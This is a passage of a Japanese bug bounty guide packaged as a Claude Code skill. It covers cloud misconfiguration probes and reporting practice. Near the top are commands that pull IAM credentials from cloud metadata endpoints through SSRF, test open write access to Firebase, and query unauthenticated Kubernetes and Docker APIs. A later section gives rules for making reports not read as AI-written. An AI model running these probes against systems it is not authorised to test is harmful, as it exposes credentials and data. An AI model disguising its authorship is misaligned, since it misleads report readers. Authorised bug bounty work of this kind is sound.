aws s3 ls s3://target-bucket-name --no-sign-request
# Try common names
for name in target target-backup target-assets target-prod target-staging target-uploads target-data; do
curl --max-time 30 --connect-timeout 10 -s -o /dev/null -w "$name: %{http_code}\n" "https://$name.s3.amazonaws.com/"
done
EC2 メタデータ(SSRF 経由)
http://[REDACTED_IP]/latest/meta-data/iam/security-credentials/
# Returns role name, then:
http://[REDACTED_IP]/latest/meta-data/iam/security-credentials/ROLE-NAME
# Returns AccessKeyId, SecretAccessKey, Token -> Critical
# GCP (needs header Metadata-Flavor: Google):
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
# Azure (needs header Metadata: true):
http://[REDACTED_IP]/metadata/instance?api-version=2021-02-01
Firebase の公開ルール
curl --max-time 30 --connect-timeout 10 -s "https://TARGET-APP.firebaseio.com/.json"
# If data returned -> open read
curl --max-time 30 --connect-timeout 10 -s -X PUT "https://TARGET-APP.firebaseio.com/test.json" -d '"pwned"'
# If success -> open write -> Critical
公開された管理パネル
/jenkins /grafana /kibana /elasticsearch
/swagger-ui.html /api-docs /phpMyAdmin /adminer.php
/.env /config.json /server-status /actuator/env
Kubernetes / Docker
# K8s API (unauthenticated):
curl --max-time 30 --connect-timeout 10 -sk https://TARGET:6443/api/v1/namespaces/default/pods
# Docker API:
curl --max-time 30 --connect-timeout 10 -s http://TARGET:2375/containers/json
フェーズ 4:検証
7 つの質問による判定(レポートを書く前に必ず実施)
7 項目すべてが YES である必要があります。NO が 1 つでもあれば中止します。
Q1:今すぐ、実際に使える PoC で悪用できますか?
正確な HTTP リクエストを書いてください。動作するリクエストを提示できない場合は、調査対象から外してください。
Q2:特別な操作をしていない実際のユーザーに影響しますか?
「ユーザーが〜する必要がある」といった前提条件が 5 つもあるようなケースは不可です。被害者は特別なことを何もしていません。
Q3:影響は具体的ですか(金銭、PII、ATO、RCE)?
「技術的には可能」は影響ではありません。「被害者の SSN を読み取った」は影響です。
Q4:プログラムのポリシー上、対象範囲内ですか?
プログラムの対象範囲ページで、正確なドメイン/エンドポイントを確認してください。
Q5:重複がないか、Hacktivity/変更履歴を確認しましたか?
プログラムで公開済みのレポートと最近の変更履歴を検索してください。
Q6:「常に却下」リストに載っていませんか?
以下のリストを確認してください。載っていて、他の脆弱性と組み合わせられない場合は、調査対象から外してください。
Q7:トリアージ担当者が読んで「はい、これは実際のバグだ」と言う内容ですか?
金曜日の午後 5 時に疲れたトリアージ担当者になったつもりで、レポートを読んでください。納得できる内容ですか?
落とし穴
- 理解しないまま自動化しすぎる — すべてのサブドメインに対して nuclei、ffuf、dalfox を実行すると、WAF によるブロック、レート制限、IP 禁止が発生します。
-rateと-tフラグを使用してください。手動での調査では、自動スキャナーが見逃すバグを見つけられます。 - 「5 分ルール」違反 — 401/403/404 しか返さない対象に時間をかけ続けるのは無駄です。何も見つからない場合は 5 分で次に進んでください。
- 「可能性がある」だけではバグではない — 影響を実証していない理論上の攻撃は却下されます。動作を証明するか、調査を打ち切ってください。すべての発見事項で、資金の窃取、PII の漏えい、アカウント乗っ取り、コード実行など、実際の被害を示す必要があります。
- 秘密情報を含まないソースマップ —
.mapファイルの発見は偵察レベルの情報であり、脆弱性ではありません。抽出した認証情報や API キーと組み合わさる場合に限り報告してください。 - DNS コールバックだけの SSRF — DNS の Pingback だけでは影響を証明できません。データの窃取、内部サービスへのアクセス、またはクラウドメタデータの取得が必要です。
- オープンリダイレクト単体 — OAuth の攻撃チェーンや ATO への昇格経路がなければ、せいぜい参考情報です。報告する前に、攻撃チェーン全体を構築してください。
- 手法なしの無差別テスト — 1 回のセッションで XSS、IDOR、SSRF、キャッシュポイズニングの間を飛び回ると、浅い発見しか得られません。1 回のセッションにつき、脆弱性のクラスを 1 つだけ選び、深く調査してください。
- 1 つのワードリストへの過度な依存 — SecLists は出発点であり、ゴールではありません。対象固有のワードリスト(JS ファイル、API レスポンス、Swagger ドキュメントから作成したもの)は、汎用的なものより優れています。
- モバイル API のバージョンを無視する — モバイルアプリでは、Web 版と異なり、認証成熟度の低いエンドポイントや
/v1エンドポイントが使われていることがよくあります。 - 新機能=未レビュー — 過去 30 日以内に公開された機能は、セキュリティ成熟度が最も低く、バグ密度が最も高いものです。
- 公開済みレポートを先に読まない — 対象外のクラスや、すでに十分な対策が施されたクラスを何時間も探すのは時間の無駄です。調査を始める前に、公開済みレポートを 3 件以上読んでください。
- サブドメイン列挙による対象範囲の逸脱 — すべてのサブドメインが対象組織の所有であることを確認してください。Zendesk、Shopify、statuspage.io などのサードパーティサービスは通常、対象範囲外です。
- レポートを先に書き、後で検証する — 提出時点でもバグが動作することを確認せずにレポートを書いてしまうことです。提出の数分前に必ず再テストしてください。
- スクリーンショットだけの証拠 — HTTP リクエスト、レスポンス、スクリーンショットの 3 点が最低限必要です。リクエストだけ、またはスクリーンショットだけでは、トリアージ担当者に却下されます。
- テストアカウント 1 つだけでの自己テスト — IDOR/ATO のバグには、攻撃者と被害者の 2 つのアカウントが必要です。1 つのアカウントを使って自分自身をテストしても、何も証明できません。
提出前の 4 つの判定
判定 0:現実性の確認(30 秒)
[ ] The bug is real -- confirmed with actual HTTP requests, not just code reading
[ ] The bug is in scope -- checked program scope explicitly
[ ] I can reproduce it from scratch (not just once)
[ ] I have evidence (screenshot, response, video)
判定 1:影響の検証(2 分)
[ ] I can answer: "What can an attacker DO that they couldn't before?"
[ ] The answer is more than "see non-sensitive data"
[ ] There's a real victim: another user's data, company's data, financial loss
[ ] I'm not relying on the user doing something unlikely
ゲート 2:重複チェック(5 分)
[ ] Searched HackerOne Hacktivity for this program + similar bug title
[ ] Searched GitHub issues for target repo
[ ] Read the most recent 5 disclosed reports for this program
[ ] This is not a "known issue" in their changelog or public docs
ゲート 3:レポートの品質(10 分)
[ ] Title: One sentence, contains vuln class + location + impact
[ ] Steps to reproduce: Copy-pasteable HTTP request
[ ] Evidence: Screenshot/video showing actual impact (not just 200 response)
[ ] Severity: Matches CVSS 3.1 score AND program's severity definitions
[ ] Remediation: 1-2 sentences of concrete fix
CVSS 3.1 クイックガイド
| 要素 | 低(0-3.9) | 中(4-6.9) | 高(7-8.9) | 重大(9-10) |
|---|---|---|---|---|
| 攻撃ベクトル | 物理 | ローカル | 隣接 | ネットワーク |
| 権限 | 高 | 低 | なし | なし |
| ユーザー操作 | 必要 | 必要 | なし | なし |
| 影響 | 部分的 | 部分的 | 高 | 高(3 項目すべて) |
バグの種類ごとの一般的なスコア
| バグ | 一般的な CVSS | 深刻度 |
|---|---|---|
| IDOR(PII の読み取り) | 6.5 | 中 |
| IDOR(書き込み/削除) | 7.5 | 高 |
| 認証バイパス -> 管理者 | 9.8 | 重大 |
| 保存型 XSS | 5.4-8.8 | 中〜高 |
| SQLi(データの流出) | 8.6 | 高 |
| SSRF(クラウドメタデータ) | 9.1 | 重大 |
| 競合状態(二重支払い) | 7.5 | 高 |
| GraphQL 認証バイパス | 8.7 | 高 |
| JWT の none アルゴリズム | 9.1 | 重大 |
必ず却下 -- これらは絶対に提出しないでください
CSP/HSTS/セキュリティヘッダーの欠如、SPF/DKIM/DMARC の欠如、GraphQL のイントロスペクションのみ、実際に悪用できる CVE がないバナー/バージョン情報の開示、機密情報を含まないページでのクリックジャッキング、タブナビング、CSV インジェクション、認証情報を流出させる PoC を伴わない CORS ワイルドカード、ログアウト CSRF、セルフ XSS、単独のオープンリダイレクト、モバイルアプリ内の OAuth client_secret、DNS への ping のみの SSRF、単独の Host ヘッダーインジェクション、重要でないフォームのレート制限なし、ログアウト時にセッションが無効化されないこと、同時セッション、内部 IP の開示、混在コンテンツ、SSL の弱い暗号スイート、単独での HttpOnly/Secure Cookie フラグの欠如、壊れた外部リンク、アカウント作成前のアカウント乗っ取り(通常)、パスワードフィールドのオートコンプリート。
N/A は有効性比率を下げます。有益な情報は中立です。7 項目のゲートを通過するものだけを提出してください。
チェーンによって条件付きで有効
次の低深刻度の指摘は、チェーンで組み合わせると有効なバグになります。
| 低深刻度の指摘 | + チェーン | = 有効なバグ |
|---|---|---|
| オープンリダイレクト | + OAuth コードの窃取 | ATO |
| クリックジャッキング | + 機密操作 + PoC | アカウント操作 |
| CORS ワイルドカード | + 認証情報を用いた流出 | データ窃取 |
| CSRF | + 機密性の高い状態変更 | アカウント乗っ取り |
| レート制限なし | + OTP の総当たり攻撃 | ATO |
| SSRF(DNS のみ) | + 内部アクセスの証明 | 内部ネットワークへのアクセス |
| Host ヘッダーインジェクション | + パスワードリセットのポイズニング | ATO |
| セルフ XSS | + ログイン CSRF | 被害者に対する保存型 XSS |
フェーズ 5:レポート
HackerOne レポートテンプレート
Title: [Vuln Class] in [endpoint/feature] leads to [Impact]
## Summary
[2-3 sentences: what it is, where it is, what attacker can do]
## Steps To Reproduce
1. Log in as attacker (account A)
2. Send request: [paste exact request]
3. Observe: [exact response showing the bug]
4. Confirm: [what the attacker gained]
## Supporting Material
[Screenshot / video of exploitation]
[Burp Suite request/response]
## Impact
An attacker can [specific action] resulting in [specific harm].
[Quantify if possible: "This affects all X users" or "Attacker can access Y data"]
## Severity Assessment
CVSS 3.1 Score: X.X ([Severity label])
Attack Vector: Network | Complexity: Low | Privileges: None | User Interaction: None
Bugcrowd レポートテンプレート
Title: [Vuln] at [endpoint] -- [Impact in one line]
Bug Type: [IDOR/SSRF/XSS/etc]
Target: [URL or component]
Severity: [P1/P2/P3/P4]
Description:
[Root cause + exact location]
Reproduction:
1. [step]
2. [step]
3. [step]
Impact:
[Concrete business impact]
Fix Suggestion:
[Specific remediation]
人間らしい文体のルール(AI らしい文章を避ける)
- 脆弱性の名前ではなく、影響から文を始める
- 教科書のようにではなく、知識のある開発者に説明するように書く
- 「私は」と能動態を使う:「〜を発見しました」と書き、「脆弱性が発見されました」とは書かない
- 抽象的な文を 3 つ並べるより、具体例を 1 つ示す
- em ダッシュや、「包括的」「活用する」「シームレス」「確実にする」は使わない
レポートタイトルの形式
[Bug Class] in [Exact Endpoint/Feature] allows [attacker role] to [impact] [victim scope]
良いタイトル:
IDOR in /api/v2/invoices/{id} allows authenticated user to read any customer's invoice data
Missing auth on POST /api/admin/users allows unauthenticated attacker to create admin accounts
Stored XSS in profile bio field executes in admin panel -- allows privilege escalation
SSRF via image import URL parameter reaches AWS EC2 metadata service
Race condition in coupon redemption allows same code to be used unlimited times
悪いタイトル:
IDOR vulnerability found
Broken access control
XSS in user input
Security issue in API
影響を説明する文の形式(最初の段落)
An [attacker with X access level] can [exact action] by [method], resulting in [business harm].
This requires [prerequisites] and leaves [detection/reversibility].
提出前の 60 秒チェックリスト
[ ] Title follows formula: [Class] in [endpoint] allows [actor] to [impact]
[ ] First sentence states exact impact in plain English
[ ] Steps to Reproduce has exact HTTP request (copy-paste ready)
[ ] Response showing the bug is included (screenshot or response body)
[ ] Two test accounts used (not just one account testing itself)
[ ] CVSS score calculated and included
[ ] Recommended fix is one sentence (not a lecture)
[ ] No typos in the endpoint path or parameter names
[ ] Report is < 600 words (triagers skim long reports)
[ ] Severity claimed matches impact described (don't overclaim)
深刻度を引き上げるための表現
報奨金が減額されそうな場合は、次の反論を使います。
| プログラム側の主張 | こちらの反論 |
|---|---|
| 「認証が必要」 | 「攻撃者に必要なのは無料アカウントだけです(特別な役割は不要です)」 |
| 「影響は限定的」 | 「[N] 人のユーザー/[PII の種類]/[$ の金額] に影響します」 |
| 「既知の問題」 | 「レポート番号を教えてください。検索しましたが見つかりませんでした」 |
| 「仕様どおり」 | 「これが意図された動作だと明記されているドキュメントを提示してください」 |
| 「CVSS スコアが低い」 | 「CVSS はビジネスへの影響を考慮していません。攻撃者は [X] を窃取できます」 |
検証
次のセルフテストを実行して、ツールキットが動作することを確認してください。
-
コアツールの確認 — 必須の Go バイナリと Python ツールがインストールされていることを確認します。
which subfinder httpx nuclei katana ffuf dalfox gau waybackurls 2>/dev/null pip3 show arjun paramspider 2>/dev/null | grep -E '^Name:|^Version:' -
FFUF のキャリブレーションテスト —
-acによる自動キャリブレーションが機能することを確認します。ffuf -w /usr/share/seclists/Discovery/Web-Content/common.txt -u https://example.com/FUZZ -ac -timeout 5 2>&1 | head -5 -
Subfinder の接続確認 — パッシブソースに接続できることを確認します。
subfinder -d example.com -silent -timeout 30 2>&1 | head -3 -
HackerOne API への接続確認 — GraphQL エンドポイントにアクセスできることを確認します。
curl --max-time 30 --connect-timeout 10 -s "https://hackerone.com/graphql" -o /dev/null -w "%{http_code}" && echo " PASS" || echo " FAIL" -
Semgrep のインストール確認 — 静的解析を利用できることを確認します。
semgrep --version >/dev/null 2>&1 && echo "PASS: semgrep available" || echo "FAIL: pip3 install semgrep" -
ワードリストの利用確認 — SecLists がクローンされていることを確認します。
ls /usr/share/seclists/Discovery/Web-Content/common.txt >/dev/null 2>&1 && echo "PASS: SecLists present" || echo "FAIL: git clone https://github.com/danielmiessler/SecLists.git /usr/share/seclists"
ツールキットが完全に動作するには、6 つすべてのテストに合格する必要があります。不足している Go バイナリは go install で、Python ツールは pip3 install でインストールできます。
リソース
バグバウンティプラットフォーム
- HackerOne Hacktivity -- 公開済みレポート
- Bugcrowd Crowdstream -- 公開された調査結果
- Intigriti Leaderboard
学習
- PortSwigger Web Academy -- 無料の脆弱性ラボ(おすすめ)
- HackTricks -- 攻撃手法のリファレンス
- PayloadsAllTheThings -- ペイロードのリファレンス
- Solodit -- 検索可能な監査結果 5 万件以上(Web3)
- ProjectDiscovery Chaos -- 無料のサブドメインデータセット
ワードリスト
- SecLists -- 包括的なワードリスト
- HowToHunt -- 脆弱性ハンティングのステップバイステップガイド
- DefaultCreds -- デフォルトの認証情報
ペイロードデータベース
- XSSHunter -- ブラインド XSS の検出
- interactsh -- OOB コールバックサーバー
インストール(Claude Code スキル)
これを Claude Code スキルとして使うには、このファイルをスキルディレクトリにコピーします。
# Option A: Clone the repo and link the skill
git clone https://github.com/shuvonsec/claude-bug-bounty.git ~/.claude/skills/bug-bounty
ln -s ~/.claude/skills/bug-bounty/SKILL.md ~/.claude/skills/bug-bounty/SKILL.md
# Option B: Direct copy
mkdir -p ~/.claude/skills/bug-bounty
curl --max-time 30 --connect-timeout 10 -s https://raw.githubusercontent.com/shuvonsec/claude-bug-bounty/main/SKILL.md \
-o ~/.claude/skills/bug-bounty/SKILL.md
その後、Claude Code では、バグバウンティ、偵察、または脆弱性ハンティングについて質問すると、このスキルが自動的に読み込まれます。
関連スキルと連携
bug-bounty— ユーザーがコマンドラインの場所ではなく、一般的なバグバウンティのガイダンスを求めている場合に使います。ワークフローの基本要素:bug-bountyがオーケストレーターとしてトピックに合った hunt-* スキルへ処理を振り分けます。このスキル(bb-local-toolkit)は「その調査に使うコマンドライン/ワードリスト/クローンはディスク上のどこにあるか」に答えます。web2-recon— 特定のコマンドライン呼び出しを使って偵察を実行する場合に使います。ワークフローの基本要素:このスキルはローカルのインストールパス(例:~/tools/SecretFinder/.venv/bin/activate)を示し、web2-reconはそれらのコマンドラインパスをつなぐパイプラインです。offensive-osint— プローブ、正規表現、ワードリストからなる実践用ツール群を実行するコマンドラインが必要な場合に使います。ワークフローの基本要素:offensive-osintは正規表現/プローブを提供し、このスキルはそれを実行するローカルの trufflehog/jhaddix/SecLists クローンを提供します。security-arsenal— ペイロードライブラリのペイロードを大規模に送信するコマンドラインが必要な場合に使います。ワークフローの基本要素:security-arsenalはペイロードの構文を示し、このスキルはペイロードの送信に使う ffuf/dalfox/ghauri のインストール先を示します。bb-methodology— Phase 1(偵察)または Phase 3(発見)で、コマンドラインへの振り分けが必要な場合に使います。ワークフローの基本要素:bb-methodologyの「Tool Routing by Phase」テーブルは一般的な内容です。このスキルは抽象的なコマンドライン名を具体的なローカルパスに対応づけます。